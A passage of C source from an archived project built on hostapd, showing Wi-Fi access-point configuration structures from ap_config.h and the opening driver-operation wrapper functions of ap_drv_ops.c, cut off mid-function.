+ 1]; secpolicy security_policy; struct hostapd_wpa_psk *wpa_psk; char *wpa_passphrase; char *wpa_psk_file; struct hostapd_wep_keys wep; #define DYNAMIC_VLAN_DISABLED 0 #define DYNAMIC_VLAN_OPTIONAL 1 #define DYNAMIC_VLAN_REQUIRED 2 int dynamic_vlan; #define DYNAMIC_VLAN_NAMING_WITHOUT_DEVICE 0 #define DYNAMIC_VLAN_NAMING_WITH_DEVICE 1 #define DYNAMIC_VLAN_NAMING_END 2 int vlan_naming; int per_sta_vif; #ifdef CONFIG_FULL_DYNAMIC_VLAN char *vlan_tagged_interface; #endif /* CONFIG_FULL_DYNAMIC_VLAN */ }; #define VLAN_ID_WILDCARD -1 struct hostapd_vlan { struct hostapd_vlan *next; int vlan_id; /* VLAN ID or -1 (VLAN_ID_WILDCARD) for wildcard entry */ struct vlan_description vlan_desc; char ifname[IFNAMSIZ + 1]; int configured; int dynamic_vlan; #ifdef CONFIG_FULL_DYNAMIC_VLAN #define DVLAN_CLEAN_WLAN_PORT 0x8 int clean; #endif /* CONFIG_FULL_DYNAMIC_VLAN */ }; #define PMK_LEN 32 #define MIN_PASSPHRASE_LEN 8 #define MAX_PASSPHRASE_LEN 63 struct hostapd_sta_wpa_psk_short { struct hostapd_sta_wpa_psk_short *next; unsigned int is_passphrase:1; u8 psk[PMK_LEN]; char passphrase[MAX_PASSPHRASE_LEN + 1]; int ref; /* (number of references held) - 1 */ }; struct hostapd_wpa_psk { struct hostapd_wpa_psk *next; int group; u8 psk[PMK_LEN]; u8 addr[ETH_ALEN]; u8 p2p_dev_addr[ETH_ALEN]; }; struct hostapd_eap_user { struct hostapd_eap_user *next; u8 *identity; size_t identity_len; struct { int vendor; u32 method; } methods[EAP_MAX_METHODS]; u8 *password; size_t password_len; u8 *salt; size_t salt_len; /* non-zero when password is salted */ int phase2; int force_version; unsigned int wildcard_prefix:1; unsigned int password_hash:1; /* whether password is hashed with * nt_password_hash() */ unsigned int remediation:1; unsigned int macacl:1; int ttls_auth; /* EAP_TTLS_AUTH_* bitfield */ struct hostapd_radius_attr *accept_attr; u32 t_c_timestamp; }; struct hostapd_radius_attr { u8 type; struct wpabuf *val; struct hostapd_radius_attr *next; }; #define NUM_TX_QUEUES 4 struct hostapd_tx_queue_params { int aifs; int cwmin; int cwmax; int burst; /* maximum burst time in 0.1 ms, i.e., 10 = 1 ms */ }; #define MAX_ROAMING_CONSORTIUM_LEN 15 struct hostapd_roaming_consortium { u8 len; u8 oi[MAX_ROAMING_CONSORTIUM_LEN]; }; struct hostapd_lang_string { u8 lang[3]; u8 name_len; u8 name[252]; }; struct hostapd_venue_url { u8 venue_number; u8 url_len; u8 url[254]; }; #define MAX_NAI_REALMS 10 #define MAX_NAI_REALMLEN 255 #define MAX_NAI_EAP_METHODS 5 #define MAX_NAI_AUTH_TYPES 4 struct hostapd_nai_realm_data { u8 encoding; char realm_buf[MAX_NAI_REALMLEN + 1]; char *realm[MAX_NAI_REALMS]; u8 eap_method_count; struct hostapd_nai_realm_eap { u8 eap_method; u8 num_auths; u8 auth_id[MAX_NAI_AUTH_TYPES]; u8 auth_val[MAX_NAI_AUTH_TYPES]; } eap_method[MAX_NAI_EAP_METHODS]; }; struct anqp_element { struct dl_list list; u16 infoid; struct wpabuf *payload; }; struct fils_realm { struct dl_list list; u8 hash[2]; char realm[]; }; struct sae_password_entry { struct sae_password_entry *next; char *password; char *identifier; u8 peer_addr[ETH_ALEN]; }; /** * struct hostapd_bss_config - Per-BSS configuration */ struct hostapd_bss_config { char iface[IFNAMSIZ + 1]; char bridge[IFNAMSIZ + 1]; char vlan_bridge[IFNAMSIZ + 1]; char wds_bridge[IFNAMSIZ + 1]; enum hostapd_logger_level logger_syslog_level, logger_stdout_level; unsigned int logger_syslog; /* module bitfield */ unsigned int logger_stdout; /* module bitfield */ int max_num_sta; /* maximum number of STAs in station table */ int dtim_period; unsigned int bss_load_update_period; unsigned int chan_util_avg_period; int ieee802_1x; /* use IEEE 802.1X */ int eapol_version; int eap_server; /* Use internal EAP server instead of external * RADIUS server */ struct hostapd_eap_user *eap_user; char *eap_user_sqlite; char *eap_sim_db; unsigned int eap_sim_db_timeout; int eap_server_erp; /* Whether ERP is enabled on internal EAP server */ struct hostapd_ip_addr own_ip_addr; char *nas_identifier; struct hostapd_radius_servers *radius; int acct_interim_interval; int radius_request_cui; struct hostapd_radius_attr *radius_auth_req_attr; struct hostapd_radius_attr *radius_acct_req_attr; int radius_das_port; unsigned int radius_das_time_window; int radius_das_require_event_timestamp; int radius_das_require_message_authenticator; struct hostapd_ip_addr radius_das_client_addr; u8 *radius_das_shared_secret; size_t radius_das_shared_secret_len; struct hostapd_ssid ssid; char *eap_req_id_text; /* optional displayable message sent with * EAP Request-Identity */ size_t eap_req_id_text_len; int eapol_key_index_workaround; size_t default_wep_key_len; int individual_wep_key_len; int wep_rekeying_period; int broadcast_key_idx_min, broadcast_key_idx_max; int eap_reauth_period; int erp_send_reauth_start; char *erp_domain; int ieee802_11f; /* use IEEE 802.11f (IAPP) */ char iapp_iface[IFNAMSIZ + 1]; /* interface used with IAPP broadcast * frames */ enum macaddr_acl { ACCEPT_UNLESS_DENIED = 0, DENY_UNLESS_ACCEPTED = 1, USE_EXTERNAL_RADIUS_AUTH = 2 } macaddr_acl; struct mac_acl_entry *accept_mac; int num_accept_mac; struct mac_acl_entry *deny_mac; int num_deny_mac; int wds_sta; int isolate; int start_disabled; int auth_algs; /* bitfield of allowed IEEE 802.11 authentication * algorithms, WPA_AUTH_ALG_{OPEN,SHARED,LEAP} */ int wpa; /* bitfield of WPA_PROTO_WPA, WPA_PROTO_RSN */ int wpa_key_mgmt; #ifdef CONFIG_IEEE80211W enum mfp_options ieee80211w; int group_mgmt_cipher; /* dot11AssociationSAQueryMaximumTimeout (in TUs) */ unsigned int assoc_sa_query_max_timeout; /* dot11AssociationSAQueryRetryTimeout (in TUs) */ int assoc_sa_query_retry_timeout; #endif /* CONFIG_IEEE80211W */ enum { PSK_RADIUS_IGNORED = 0, PSK_RADIUS_ACCEPTED = 1, PSK_RADIUS_REQUIRED = 2 } wpa_psk_radius; int wpa_pairwise; int group_cipher; /* wpa_group value override from configuation */ int wpa_group; int wpa_group_rekey; int wpa_group_rekey_set; int wpa_strict_rekey; int wpa_gmk_rekey; int wpa_ptk_rekey; u32 wpa_group_update_count; u32 wpa_pairwise_update_count; int wpa_disable_eapol_key_retries; int rsn_pairwise; int rsn_preauth; char *rsn_preauth_interfaces; #ifdef CONFIG_IEEE80211R_AP /* IEEE 802.11r - Fast BSS Transition */ u8 mobility_domain[MOBILITY_DOMAIN_ID_LEN]; u8 r1_key_holder[FT_R1KH_ID_LEN]; u32 r0_key_lifetime; /* PMK-R0 lifetime seconds */ int rkh_pos_timeout; int rkh_neg_timeout; int rkh_pull_timeout; /* ms */ int rkh_pull_retries; u32 reassociation_deadline; struct ft_remote_r0kh *r0kh_list; struct ft_remote_r1kh *r1kh_list; int pmk_r1_push; int ft_over_ds; int ft_psk_generate_local; int r1_max_key_lifetime; #endif /* CONFIG_IEEE80211R_AP */ char *ctrl_interface; /* directory for UNIX domain sockets */ #ifndef CONFIG_NATIVE_WINDOWS gid_t ctrl_interface_gid; #endif /* CONFIG_NATIVE_WINDOWS */ int ctrl_interface_gid_set; char *ca_cert; char *server_cert; char *private_key; char *private_key_passwd; int check_crl; unsigned int tls_session_lifetime; unsigned int tls_flags; char *ocsp_stapling_response; char *ocsp_stapling_response_multi; char *dh_file; char *openssl_ciphers; u8 *pac_opaque_encr_key; u8 *eap_fast_a_id; size_t eap_fast_a_id_len; char *eap_fast_a_id_info; int eap_fast_prov; int pac_key_lifetime; int pac_key_refresh_time; int eap_sim_aka_result_ind; int tnc; int fragment_size; u16 pwd_group; char *radius_server_clients; int radius_server_auth_port; int radius_server_acct_port; int radius_server_ipv6; int use_pae_group_addr; /* Whether to send EAPOL frames to PAE group * address instead of individual address * (for driver_wired.c). */ int ap_max_inactivity; int ignore_broadcast_ssid; int no_probe_resp_if_max_sta; int wmm_enabled; int wmm_uapsd; struct hostapd_vlan *vlan; macaddr bssid; /* * Maximum listen interval that STAs can use when associating with this * BSS. If a STA tries to use larger value, the association will be * denied with status code 51. */ u16 max_listen_interval; int disable_pmksa_caching; int okc; /* Opportunistic Key Caching */ int wps_state; #ifdef CONFIG_WPS int wps_independent; int ap_setup_locked; u8 uuid[16]; char *wps_pin_requests; char *device_name; char *manufacturer; char *model_name; char *model_number; char *serial_number; u8 device_type[WPS_DEV_TYPE_LEN]; char *config_methods; u8 os_version[4]; char *ap_pin; int skip_cred_build; u8 *extra_cred; size_t extra_cred_len; int wps_cred_processing; int force_per_enrollee_psk; u8 *ap_settings; size_t ap_settings_len; char *upnp_iface; char *friendly_name; char *manufacturer_url; char *model_description; char *model_url; char *upc; struct wpabuf *wps_vendor_ext[MAX_WPS_VENDOR_EXTENSIONS]; int wps_nfc_pw_from_config; int wps_nfc_dev_pw_id; struct wpabuf *wps_nfc_dh_pubkey; struct wpabuf *wps_nfc_dh_privkey; struct wpabuf *wps_nfc_dev_pw; #endif /* CONFIG_WPS */ int pbc_in_m1; char *server_id; #define P2P_ENABLED BIT(0) #define P2P_GROUP_OWNER BIT(1) #define P2P_GROUP_FORMATION BIT(2) #define P2P_MANAGE BIT(3) #define P2P_ALLOW_CROSS_CONNECTION BIT(4) int p2p; #ifdef CONFIG_P2P u8 ip_addr_go[4]; u8 ip_addr_mask[4]; u8 ip_addr_start[4]; u8 ip_addr_end[4]; #endif /* CONFIG_P2P */ int disassoc_low_ack; int skip_inactivity_poll; #define TDLS_PROHIBIT BIT(0) #define TDLS_PROHIBIT_CHAN_SWITCH BIT(1) int tdls; int disable_11n; int disable_11ac; /* IEEE 802.11v */ int time_advertisement; char *time_zone; int wnm_sleep_mode; int wnm_sleep_mode_no_keys; int bss_transition; /* IEEE 802.11u - Interworking */ int interworking; int access_network_type; int internet; int asra; int esr; int uesa; int venue_info_set; u8 venue_group; u8 venue_type; u8 hessid[ETH_ALEN]; /* IEEE 802.11u - Roaming Consortium list */ unsigned int roaming_consortium_count; struct hostapd_roaming_consortium *roaming_consortium; /* IEEE 802.11u - Venue Name duples */ unsigned int venue_name_count; struct hostapd_lang_string *venue_name; /* Venue URL duples */ unsigned int venue_url_count; struct hostapd_venue_url *venue_url; /* IEEE 802.11u - Network Authentication Type */ u8 *network_auth_type; size_t network_auth_type_len; /* IEEE 802.11u - IP Address Type Availability */ u8 ipaddr_type_availability; u8 ipaddr_type_configured; /* IEEE 802.11u - 3GPP Cellular Network */ u8 *anqp_3gpp_cell_net; size_t anqp_3gpp_cell_net_len; /* IEEE 802.11u - Domain Name */ u8 *domain_name; size_t domain_name_len; unsigned int nai_realm_count; struct hostapd_nai_realm_data *nai_realm_data; struct dl_list anqp_elem; /* list of struct anqp_element */ u16 gas_comeback_delay; size_t gas_frag_limit; int gas_address3; u8 qos_map_set[16 + 2 * 21]; unsigned int qos_map_set_len; int osen; int proxy_arp; int na_mcast_to_ucast; #ifdef CONFIG_HS20 int hs20; int disable_dgaf; u16 anqp_domain_id; unsigned int hs20_oper_friendly_name_count; struct hostapd_lang_string *hs20_oper_friendly_name; u8 *hs20_wan_metrics; u8 *hs20_connection_capability; size_t hs20_connection_capability_len; u8 *hs20_operating_class; u8 hs20_operating_class_len; struct hs20_icon { u16 width; u16 height; char language[3]; char type[256]; char name[256]; char file[256]; } *hs20_icons; size_t hs20_icons_count; u8 osu_ssid[SSID_MAX_LEN]; size_t osu_ssid_len; struct hs20_osu_provider { unsigned int friendly_name_count; struct hostapd_lang_string *friendly_name; char *server_uri; int *method_list; char **icons; size_t icons_count; char *osu_nai; unsigned int service_desc_count; struct hostapd_lang_string *service_desc; } *hs20_osu_providers, *last_osu; size_t hs20_osu_providers_count; char **hs20_operator_icon; size_t hs20_operator_icon_count; unsigned int hs20_deauth_req_timeout; char *subscr_remediation_url; u8 subscr_remediation_method; char *t_c_filename; u32 t_c_timestamp; char *t_c_server_url; #endif /* CONFIG_HS20 */ u8 wps_rf_bands; /* RF bands for WPS (WPS_RF_*) */ #ifdef CONFIG_RADIUS_TEST char *dump_msk_file; #endif /* CONFIG_RADIUS_TEST */ struct wpabuf *vendor_elements; struct wpabuf *assocresp_elements; unsigned int sae_anti_clogging_threshold; unsigned int sae_sync; int sae_require_mfp; int *sae_groups; struct sae_password_entry *sae_passwords; char *wowlan_triggers; /* Wake-on-WLAN triggers */ #ifdef CONFIG_TESTING_OPTIONS u8 bss_load_test[5]; u8 bss_load_test_set; struct wpabuf *own_ie_override; int sae_reflection_attack; struct wpabuf *sae_commit_override; #endif /* CONFIG_TESTING_OPTIONS */ #define MESH_ENABLED BIT(0) int mesh; u8 radio_measurements[RRM_CAPABILITIES_IE_LEN]; int vendor_vht; int use_sta_nsts; char *no_probe_resp_if_seen_on; char *no_auth_if_seen_on; int pbss; #ifdef CONFIG_MBO int mbo_enabled; /** * oce - Enable OCE in AP and/or STA-CFON mode * - BIT(0) is Reserved * - Set BIT(1) to enable OCE in STA-CFON mode * - Set BIT(2) to enable OCE in AP mode */ unsigned int oce; int mbo_cell_data_conn_pref; #endif /* CONFIG_MBO */ int ftm_responder; int ftm_initiator; #ifdef CONFIG_FILS u8 fils_cache_id[FILS_CACHE_ID_LEN]; int fils_cache_id_set; struct dl_list fils_realms; /* list of struct fils_realm */ int fils_dh_group; struct hostapd_ip_addr dhcp_server; int dhcp_rapid_commit_proxy; unsigned int fils_hlp_wait_time; u16 dhcp_server_port; u16 dhcp_relay_port; #endif /* CONFIG_FILS */ int multicast_to_unicast; int broadcast_deauth; #ifdef CONFIG_DPP char *dpp_connector; struct wpabuf *dpp_netaccesskey; unsigned int dpp_netaccesskey_expiry; struct wpabuf *dpp_csign; #endif /* CONFIG_DPP */ #ifdef CONFIG_OWE macaddr owe_transition_bssid; u8 owe_transition_ssid[SSID_MAX_LEN]; size_t owe_transition_ssid_len; char owe_transition_ifname[IFNAMSIZ + 1]; int *owe_groups; #endif /* CONFIG_OWE */ }; /** * struct he_phy_capabilities_info - HE PHY capabilities */ struct he_phy_capabilities_info { Boolean he_su_beamformer; Boolean he_su_beamformee; Boolean he_mu_beamformer; }; /** * struct he_operation - HE operation */ struct he_operation { u8 he_bss_color; u8 he_default_pe_duration; u8 he_twt_required; u8 he_rts_threshold; }; /** * struct hostapd_config - Per-radio interface configuration */ struct hostapd_config { struct hostapd_bss_config **bss, *last_bss; size_t num_bss; u16 beacon_int; int rts_threshold; int fragm_threshold; u8 send_probe_response; u8 channel; u8 acs; struct wpa_freq_range_list acs_ch_list; int acs_exclude_dfs; enum hostapd_hw_mode hw_mode; /* HOSTAPD_MODE_IEEE80211A, .. */ enum { LONG_PREAMBLE = 0, SHORT_PREAMBLE = 1 } preamble; int *supported_rates; int *basic_rates; unsigned int beacon_rate; enum beacon_rate_type rate_type; const struct wpa_driver_ops *driver; char *driver_params; int ap_table_max_size; int ap_table_expiration_time; unsigned int track_sta_max_num; unsigned int track_sta_max_age; char country[3]; /* first two octets: country code as described in * ISO/IEC 3166-1. Third octet: * ' ' (ascii 32): all environments * 'O': Outdoor environemnt only * 'I': Indoor environment only * 'X': Used with noncountry entity ("XXX") * 0x00..0x31: identifying IEEE 802.11 standard * Annex E table (0x04 = global table) */ int ieee80211d; int ieee80211h; /* DFS */ /* * Local power constraint is an octet encoded as an unsigned integer in * units of decibels. Invalid value -1 indicates that Power Constraint * element will not be added. */ int local_pwr_constraint; /* Control Spectrum Management bit */ int spectrum_mgmt_required; struct hostapd_tx_queue_params tx_queue[NUM_TX_QUEUES]; /* * WMM AC parameters, in same order as 802.1D, i.e. * 0 = BE (best effort) * 1 = BK (background) * 2 = VI (video) * 3 = VO (voice) */ struct hostapd_wmm_ac_params wmm_ac_params[4]; int ht_op_mode_fixed; u16 ht_capab; int ieee80211n; int secondary_channel; int no_pri_sec_switch; int require_ht; int obss_interval; u32 vht_capab; int ieee80211ac; int require_vht; u8 vht_oper_chwidth; u8 vht_oper_centr_freq_seg0_idx; u8 vht_oper_centr_freq_seg1_idx; u8 ht40_plus_minus_allowed; /* Use driver-generated interface addresses when adding multiple BSSs */ u8 use_driver_iface_addr; #ifdef CONFIG_FST struct fst_iface_cfg fst_cfg; #endif /* CONFIG_FST */ #ifdef CONFIG_P2P u8 p2p_go_ctwindow; #endif /* CONFIG_P2P */ #ifdef CONFIG_TESTING_OPTIONS double ignore_probe_probability; double ignore_auth_probability; double ignore_assoc_probability; double ignore_reassoc_probability; double corrupt_gtk_rekey_mic_probability; int ecsa_ie_only; #endif /* CONFIG_TESTING_OPTIONS */ #ifdef CONFIG_ACS unsigned int acs_num_scans; struct acs_bias { int channel; double bias; } *acs_chan_bias; unsigned int num_acs_chan_bias; #endif /* CONFIG_ACS */ struct wpabuf *lci; struct wpabuf *civic; int stationary_ap; int ieee80211ax; #ifdef CONFIG_IEEE80211AX struct he_phy_capabilities_info he_phy_capab; struct he_operation he_op; #endif /* CONFIG_IEEE80211AX */ /* VHT enable/disable config from CHAN_SWITCH */ #define CH_SWITCH_VHT_ENABLED BIT(0) #define CH_SWITCH_VHT_DISABLED BIT(1) unsigned int ch_switch_vht_config; }; int hostapd_mac_comp(const void *a, const void *b); struct hostapd_config * hostapd_config_defaults(void); void hostapd_config_defaults_bss(struct hostapd_bss_config *bss); void hostapd_config_free_eap_user(struct hostapd_eap_user *user); void hostapd_config_free_eap_users(struct hostapd_eap_user *user); void hostapd_config_clear_wpa_psk(struct hostapd_wpa_psk **p); void hostapd_config_free_bss(struct hostapd_bss_config *conf); void hostapd_config_free(struct hostapd_config *conf); int hostapd_maclist_found(struct mac_acl_entry *list, int num_entries, const u8 *addr, struct vlan_description *vlan_id); int hostapd_rate_found(int *list, int rate); const u8 * hostapd_get_psk(const struct hostapd_bss_config *conf, const u8 *addr, const u8 *p2p_dev_addr, const u8 *prev_psk); int hostapd_setup_wpa_psk(struct hostapd_bss_config *conf); int hostapd_vlan_valid(struct hostapd_vlan *vlan, struct vlan_description *vlan_desc); const char * hostapd_get_vlan_id_ifname(struct hostapd_vlan *vlan, int vlan_id); struct hostapd_radius_attr * hostapd_config_get_radius_attr(struct hostapd_radius_attr *attr, u8 type); int hostapd_config_check(struct hostapd_config *conf, int full_config); void hostapd_set_security_params(struct hostapd_bss_config *bss, int full_config); #endif /* HOSTAPD_CONFIG_H */ wpa_sycophant-master/src/ap/ap_drv_ops.c000066400000000000000000000615561377436615100207470ustar00rootroot00000000000000/* * hostapd - Driver operations * Copyright (c) 2009-2010, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "common/ieee802_11_defs.h" #include "common/hw_features_common.h" #include "wps/wps.h" #include "p2p/p2p.h" #include "hostapd.h" #include "ieee802_11.h" #include "sta_info.h" #include "ap_config.h" #include "p2p_hostapd.h" #include "hs20.h" #include "wpa_auth.h" #include "ap_drv_ops.h" u32 hostapd_sta_flags_to_drv(u32 flags) { int res = 0; if (flags & WLAN_STA_AUTHORIZED) res |= WPA_STA_AUTHORIZED; if (flags & WLAN_STA_WMM) res |= WPA_STA_WMM; if (flags & WLAN_STA_SHORT_PREAMBLE) res |= WPA_STA_SHORT_PREAMBLE; if (flags & WLAN_STA_MFP) res |= WPA_STA_MFP; if (flags & WLAN_STA_AUTH) res |= WPA_STA_AUTHENTICATED; if (flags & WLAN_STA_ASSOC) res |= WPA_STA_ASSOCIATED; return res; } static int add_buf(struct wpabuf **dst, const struct wpabuf *src) { if (!src) return 0; if (wpabuf_resize(dst, wpabuf_len(src)) != 0) return -1; wpabuf_put_buf(*dst, src); return 0; } static int add_buf_data(struct wpabuf **dst, const u8 *data, size_t len) { if (!data || !len) return 0; if (wpabuf_resize(dst, len) != 0) return -1; wpabuf_put_data(*dst, data, len); return 0; } int hostapd_build_ap_extra_ies(struct hostapd_data *hapd, struct wpabuf **beacon_ret, struct wpabuf **proberesp_ret, struct wpabuf **assocresp_ret) { struct wpabuf *beacon = NULL, *proberesp = NULL, *assocresp = NULL; u8 buf[200], *pos; *beacon_ret = *proberesp_ret = *assocresp_ret = NULL; pos = buf; pos = hostapd_eid_time_adv(hapd, pos); if (add_buf_data(&beacon, buf, pos - buf) < 0) goto fail; pos = hostapd_eid_time_zone(hapd, pos); if (add_buf_data(&proberesp, buf, pos - buf) < 0) goto fail; pos = buf; pos = hostapd_eid_ext_capab(hapd, pos); if (add_buf_data(&assocresp, buf, pos - buf) < 0) goto fail; pos = hostapd_eid_interworking(hapd, pos); pos = hostapd_eid_adv_proto(hapd, pos); pos = hostapd_eid_roaming_consortium(hapd, pos); if (add_buf_data(&beacon, buf, pos - buf) < 0 || add_buf_data(&proberesp, buf, pos - buf) < 0) goto fail; #ifdef CONFIG_FST if (add_buf(&beacon, hapd->iface->fst_ies) < 0 || add_buf(&proberesp, hapd->iface->fst_ies) < 0 || add_buf(&assocresp, hapd->iface->fst_ies) < 0) goto fail; #endif /* CONFIG_FST */ #ifdef CONFIG_FILS pos = hostapd_eid_fils_indic(hapd, buf, 0); if (add_buf_data(&beacon, buf, pos - buf) < 0 || add_buf_data(&proberesp, buf, pos - buf) < 0) goto fail; #endif /* CONFIG_FILS */ if (add_buf(&beacon, hapd->wps_beacon_ie) < 0 || add_buf(&proberesp, hapd->wps_probe_resp_ie) < 0) goto fail; #ifdef CONFIG_P2P if (add_buf(&beacon, hapd->p2p_beacon_ie) < 0 || add_buf(&proberesp, hapd->p2p_probe_resp_ie) < 0) goto fail; #endif /* CONFIG_P2P */ #ifdef CONFIG_P2P_MANAGER if (hapd->conf->p2p & P2P_MANAGE) { if (wpabuf_resize(&beacon, 100) == 0) { u8 *start, *p; start = wpabuf_put(beacon, 0); p = hostapd_eid_p2p_manage(hapd, start); wpabuf_put(beacon, p - start); } if (wpabuf_resize(&proberesp, 100) == 0) { u8 *start, *p; start = wpabuf_put(proberesp, 0); p = hostapd_eid_p2p_manage(hapd, start); wpabuf_put(proberesp, p - start); } } #endif /* CONFIG_P2P_MANAGER */ #ifdef CONFIG_WPS if (hapd->conf->wps_state) { struct wpabuf *a = wps_build_assoc_resp_ie(); add_buf(&assocresp, a); wpabuf_free(a); } #endif /* CONFIG_WPS */ #ifdef CONFIG_P2P_MANAGER if (hapd->conf->p2p & P2P_MANAGE) { if (wpabuf_resize(&assocresp, 100) == 0) { u8 *start, *p; start = wpabuf_put(assocresp, 0); p = hostapd_eid_p2p_manage(hapd, start); wpabuf_put(assocresp, p - start); } } #endif /* CONFIG_P2P_MANAGER */ #ifdef CONFIG_WIFI_DISPLAY if (hapd->p2p_group) { struct wpabuf *a; a = p2p_group_assoc_resp_ie(hapd->p2p_group, P2P_SC_SUCCESS); add_buf(&assocresp, a); wpabuf_free(a); } #endif /* CONFIG_WIFI_DISPLAY */ #ifdef CONFIG_HS20 pos = hostapd_eid_hs20_indication(hapd, buf); if (add_buf_data(&beacon, buf, pos - buf) < 0 || add_buf_data(&proberesp, buf, pos - buf) < 0) goto fail; pos = hostapd_eid_osen(hapd, buf); if (add_buf_data(&beacon, buf, pos - buf) < 0 || add_buf_data(&proberesp, buf, pos - buf) < 0) goto fail; #endif /* CONFIG_HS20 */ #ifdef CONFIG_MBO if (hapd->conf->mbo_enabled || hapd->enable_oce) { pos = hostapd_eid_mbo(hapd, buf, sizeof(buf)); if (add_buf_data(&beacon, buf, pos - buf) < 0 || add_buf_data(&proberesp, buf, pos - buf) < 0 || add_buf_data(&assocresp, buf, pos - buf) < 0) goto fail; } #endif /* CONFIG_MBO */ #ifdef CONFIG_OWE pos = hostapd_eid_owe_trans(hapd, buf, sizeof(buf)); if (add_buf_data(&beacon, buf, pos - buf) < 0 || add_buf_data(&proberesp, buf, pos - buf) < 0) goto fail; #endif /* CONFIG_OWE */ add_buf(&beacon, hapd->conf->vendor_elements); add_buf(&proberesp, hapd->conf->vendor_elements); add_buf(&assocresp, hapd->conf->assocresp_elements); *beacon_ret = beacon; *proberesp_ret = proberesp; *assocresp_ret = assocresp; return 0; fail: wpabuf_free(beacon); wpabuf_free(proberesp); wpabuf_free(assocresp); return -1; } void hostapd_free_ap_extra_ies(struct hostapd_data *hapd, struct wpabuf *beacon, struct wpabuf *proberesp, struct wpabuf *assocresp) { wpabuf_free(beacon); wpabuf_free(proberesp); wpabuf_free(assocresp); } int hostapd_reset_ap_wps_ie(struct hostapd_data *hapd) { if (hapd->driver == NULL || hapd->driver->set_ap_wps_ie == NULL) return 0; return hapd->driver->set_ap_wps_ie(hapd->drv_priv, NULL, NULL, NULL); } int hostapd_set_ap_wps_ie(struct hostapd_data *hapd) { struct wpabuf *beacon, *proberesp, *assocresp; int ret; if (hapd->driver == NULL || hapd->driver->set_ap_wps_ie == NULL) return 0; if (hostapd_build_ap_extra_ies(hapd, &beacon, &proberesp, &assocresp) < 0) return -1; ret = hapd->driver->set_ap_wps_ie(hapd->drv_priv, beacon, proberesp, assocresp); hostapd_free_ap_extra_ies(hapd, beacon, proberesp, assocresp); return ret; } int hostapd_set_authorized(struct hostapd_data *hapd, struct sta_info *sta, int authorized) { if (authorized) { return hostapd_sta_set_flags(hapd, sta->addr, hostapd_sta_flags_to_drv( sta->flags), WPA_STA_AUTHORIZED, ~0); } return hostapd_sta_set_flags(hapd, sta->addr, hostapd_sta_flags_to_drv(sta->flags), 0, ~WPA_STA_AUTHORIZED); } int hostapd_set_sta_flags(struct hostapd_data *hapd, struct sta_info *sta) { int set_flags, total_flags, flags_and, flags_or; total_flags = hostapd_sta_flags_to_drv(sta->flags); set_flags = WPA_STA_SHORT_PREAMBLE | WPA_STA_WMM | WPA_STA_MFP; if (((!hapd->conf->ieee802_1x && !hapd->conf->wpa) || sta->auth_alg == WLAN_AUTH_FT) && sta->flags & WLAN_STA_AUTHORIZED) set_flags |= WPA_STA_AUTHORIZED; flags_or = total_flags & set_flags; flags_and = total_flags | ~set_flags; return hostapd_sta_set_flags(hapd, sta->addr, total_flags, flags_or, flags_and); } int hostapd_set_drv_ieee8021x(struct hostapd_data *hapd, const char *ifname, int enabled) { struct wpa_bss_params params; os_memset(¶ms, 0, sizeof(params)); params.ifname = ifname; params.enabled = enabled; if (enabled) { params.wpa = hapd->conf->wpa; params.ieee802_1x = hapd->conf->ieee802_1x; params.wpa_group = hapd->conf->wpa_group; if ((hapd->conf->wpa & (WPA_PROTO_WPA | WPA_PROTO_RSN)) == (WPA_PROTO_WPA | WPA_PROTO_RSN)) params.wpa_pairwise = hapd->conf->wpa_pairwise | hapd->conf->rsn_pairwise; else if (hapd->conf->wpa & WPA_PROTO_RSN) params.wpa_pairwise = hapd->conf->rsn_pairwise; else if (hapd->conf->wpa & WPA_PROTO_WPA) params.wpa_pairwise = hapd->conf->wpa_pairwise; params.wpa_key_mgmt = hapd->conf->wpa_key_mgmt; params.rsn_preauth = hapd->conf->rsn_preauth; #ifdef CONFIG_IEEE80211W params.ieee80211w = hapd->conf->ieee80211w; #endif /* CONFIG_IEEE80211W */ } return hostapd_set_ieee8021x(hapd, ¶ms); } int hostapd_vlan_if_add(struct hostapd_data *hapd, const char *ifname) { char force_ifname[IFNAMSIZ]; u8 if_addr[ETH_ALEN]; return hostapd_if_add(hapd, WPA_IF_AP_VLAN, ifname, hapd->own_addr, NULL, NULL, force_ifname, if_addr, NULL, 0); } int hostapd_vlan_if_remove(struct hostapd_data *hapd, const char *ifname) { return hostapd_if_remove(hapd, WPA_IF_AP_VLAN, ifname); } int hostapd_set_wds_sta(struct hostapd_data *hapd, char *ifname_wds, const u8 *addr, int aid, int val) { const char *bridge = NULL; if (hapd->driver == NULL || hapd->driver->set_wds_sta == NULL) return -1; if (hapd->conf->wds_bridge[0]) bridge = hapd->conf->wds_bridge; else if (hapd->conf->bridge[0]) bridge = hapd->conf->bridge; return hapd->driver->set_wds_sta(hapd->drv_priv, addr, aid, val, bridge, ifname_wds); } int hostapd_add_sta_node(struct hostapd_data *hapd, const u8 *addr, u16 auth_alg) { if (hapd->driver == NULL || hapd->driver->add_sta_node == NULL) return 0; return hapd->driver->add_sta_node(hapd->drv_priv, addr, auth_alg); } int hostapd_sta_auth(struct hostapd_data *hapd, const u8 *addr, u16 seq, u16 status, const u8 *ie, size_t len) { struct wpa_driver_sta_auth_params params; #ifdef CONFIG_FILS struct sta_info *sta; #endif /* CONFIG_FILS */ if (hapd->driver == NULL || hapd->driver->sta_auth == NULL) return 0; os_memset(¶ms, 0, sizeof(params)); #ifdef CONFIG_FILS sta = ap_get_sta(hapd, addr); if (!sta) { wpa_printf(MSG_DEBUG, "Station " MACSTR " not found for sta_auth processing", MAC2STR(addr)); return 0; } if (sta->auth_alg == WLAN_AUTH_FILS_SK || sta->auth_alg == WLAN_AUTH_FILS_SK_PFS || sta->auth_alg == WLAN_AUTH_FILS_PK) { params.fils_auth = 1; wpa_auth_get_fils_aead_params(sta->wpa_sm, params.fils_anonce, params.fils_snonce, params.fils_kek, ¶ms.fils_kek_len); } #endif /* CONFIG_FILS */ params.own_addr = hapd->own_addr; params.addr = addr; params.seq = seq; params.status = status; params.ie = ie; params.len = len; return hapd->driver->sta_auth(hapd->drv_priv, ¶ms); } int hostapd_sta_assoc(struct hostapd_data *hapd, const u8 *addr, int reassoc, u16 status, const u8 *ie, size_t len) { if (hapd->driver == NULL || hapd->driver->sta_assoc == NULL) return 0; return hapd->driver->sta_assoc(hapd->drv_priv, hapd->own_addr, addr, reassoc, status, ie, len); } int hostapd_sta_add(struct hostapd_data *hapd, const u8 *addr, u16 aid, u16 capability, const u8 *supp_rates, size_t supp_rates_len, u16 listen_interval, const struct ieee80211_ht_capabilities *ht_capab, const struct 